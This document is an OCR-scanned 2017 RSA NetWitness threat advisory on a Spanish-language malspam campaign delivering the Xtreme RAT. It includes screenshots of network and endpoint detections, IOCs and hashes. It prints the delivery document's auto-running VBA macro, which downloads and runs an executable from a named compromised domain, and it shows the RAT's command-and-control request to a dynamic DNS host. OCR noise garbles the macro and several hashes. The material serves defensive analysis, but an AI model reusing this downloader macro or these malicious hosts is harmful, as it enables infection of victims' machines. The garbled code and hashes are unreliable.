Malspam delivers Xtreme RAT 8-1-2017

:if community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017

August 2, 2017

Malspam activity was noted on August 1st 2017 delivering an Xtreme RAT variant. Xtreme
RAT is a publicly available remote access tool that has been around for few years and has
been used by threat actors in cybercrime as well as targeted attacks. In this threat advisory
we will discuss its network and host behavior from the perspective of RSA NetWitness
Packets and RSA NetWitness Endpoint.

The delivery document documentos.doc looks to be targeting Spanish-speaking users. It
uses social engineering to trick a victim into running the malicious embedded macro:
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Submitting the delivery document to RSA pre-release What's This File service shows a
maximum threat score:
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https://community.rsa.com/community/products/netwitness/blog/2017/08/02/malspam-delivers-xtreme-rat-8-1-2017
https://www.virustotal.com/en/file/e925f362b8f17c6252d6b4c8c7e4a47d41b01b589ab9f30649123ae626086668/analysis/
http://www.whatsthisfile.net/

What's This File?™

Severity: High

. e925f362b8f17c6252d6b4cBc Te4a47d41b01b589abH 306491232e62608
File Name:

6668
THREAT SCORE
File Type: ] ooxmL
File Size: 185912 (181.6 KB)
MD5: f97778i4d9c5182% edc2ec04cBeafde
SHAIL: 789806e41cd2196a198430c7 1db87e3dabedé Jed
U Static (OOXML) - VBA Code Contains Reference to Web Activity S iamEE: €925f362b817c6252d6b4c8c7e4a47d41b01b589abIF30649123262608
) 6668
U Static (OOXML) - VBA Code Contains Auto-Launch Scripts
Title:
U Static (OOXML) - Document Contains VBA Code
Subject:
Author: pe
Keywords:
Description:
Creation Time: 2017-08-01T16:08:00Z

What's This File service shows embedded VBA code to download an executable from a
delivery domain and to save it to a local file on the system:
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RSA RESULTS

Sub ewthghtjz(ByVal apotres As String)
Stroiovnij.AddCode apotres
Streiovnij.Run vratislov("CalAlct[Alus”)
End Sub

Public Sub Document_Open ()

polevis="http://innovabusiness.com.br/wp-includes/css/888/jock.exe”

Call eluferita

Stroiovnij.lLanguage=vratislov("V[AIBSc[Alri[A]lpt")

areyouhere=vratislov("C[A]:\U[A]ser[Als\") & Environ{vratislov(*Us[AlJer[AlnalAlme™)) & vratislov("
valalpplalDalaltavLolalcalalWTlAalem[Alpywtphjgf.e[Alxe)

Atzeris=lostworld()
Call ewthghtjz(Atzeris)
End Sub

Here is a screenshot of the download session from NetWitness Packets:
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GET /wp-includes/css/888/jock.exe HTTPR/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: innovabusiness.com.br

Connection: Keep-Alive

Response

HTTP/1.1 200 OK

Date: Wed, 02 Aug 2017 12:07:38 GMT

Server: Apache

Last-Modified: Tue, 01 Aug 2017 16:05:08 GMT
Accept-Ranges: bytes

Content-Length: 915968

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Content-Type: application/x-msdownload
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Filename Size  Info File Hashes

: N MD5: e638b3e75deae af1eObalcbdciSeet
4765789-107-0_1 jock.exe 915,968 bytes  application/o... ¢4y 381 370097h3c0543ef7ed 38789 2b84b2afeBE35

VirusTotal scan results suggest it is an Xtreme RAT variant. Here is the analysis report from
hybrid-analysis.com.

NetWitness Packets tagged the download session with the following meta values:

Traffic Flow Direction (1 value) ©

- outbound (1)

@ Service Analysis (9 values) 2
watchlist file ﬁngerprint (1) - watchlist file extension (1) - tld not com net org (1) - http1.1 without referer header (1) - http six or less headers (1) - http not good mozilla (1) - http no referer (1) - http
long user-agent (1) - http get no post (1)

P Session Analysis .~
Closed - Click to Open

= File Analysis (3 values) P
- r

exe recentty compiled (1) - exe filetype but not exe extension (1) - exe filetype (1)

NetWitness Endpoint scan data of an infected host is below:
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https://www.virustotal.com/en/file/ef551697664f508d9705e108710e6421abb00bf5c5fe658a68dcf05c68ed3ecf/analysis/
https://www.hybrid-analysis.com/sample/ef551697664f508d9705e108710e6421abb00bf5c5fe658a68dcf05c68ed3ecf?environmentId=100
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WINWORD.exe creates a new process wtphjgf.exe using the downloaded PE file. The new
process copies itself to new locations on the infected system, modifies the registry to gain
persistency then starts svchost.exe and injects code in it. The following screenshots from
NetWitness Endpoint show the host behavior as well as the module 110C's for wtphjgf.exe:
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F— Compiled in last manth 3 B22017 104239956 AM  WINWORD.EXE Write to Executable wiphjgt. exe
Autorun 3
@ B tempoeary directory 3
[ B0 AppData directory 3
Compiled in last 24 hours 3
1
@ 19 ftems total 1 r
Events 23 items total 4 ’

Eastem Time [

NetWitness Endpoint also shows a suspicious network connection initiated by the newly
created svchost.exe to a dynamic DNS domain:
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The network activity is captured by NetWitness Packets:

GET /1234567890.functions HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; .NET CLR 1.1.4322)

Host: trabajol.duckdns.org:1996

Connection: Keep-Alive

NetWitness Packets tagged the outbound HTTP sessions with the following meta values
indicating highly suspicious traffic:

Traffic Flow Direction (1 value) P

r
) outbound (3)
@ Service Analysis (11 values) M
tld not com net org (3) - http1.1 without referer header (3) - http six or less headers (3) - http over non-standard port (3) - http not goed mozilla (3) - http no referer (3) - http long user-agent (3) - hitp
Eet no post (3) - hostname consecutive consenants (3) - host header contains port (3) - dynamic dns host (3)
@ Session Analysis ~
Closed - Click to Open
@ Indicators of Compromise (1 value) ©
dynamic dns host (3)
Risk: Informational (3 values)
&b

http1.1 without referer header (3) - http over non-standard port (3) - dynamic dns host (3)

Xtreme RAT delivery document (SHA256):
€925f362b8f17c6252d6b4c8c7e4a47d41b01b589ab9f30649123ae626086668
Xtreme RAT variant (SHA256):

ef551697664f508d9705e108710e6421abb00bf5c5fe658a68dcf05c68ed3ect
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All the IOC from those HTTP sessions were added to FirstWWatch Command and Control feed
on Live with the following meta:

¢ For download domain:

threat.source = 'rsa-firstwatch'
threat.category = 'malspam'
threat.description = 'delivery-domain'

e For Command and Control domain:

threat.source = 'rsa-firstwatch'
threat.category = 'cnc'
threat.description = 'c2-domain’

Further reading:

XtremeRAT: Nuisance or Threat? « Threat Research Blog_| FireEye Inc
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https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html

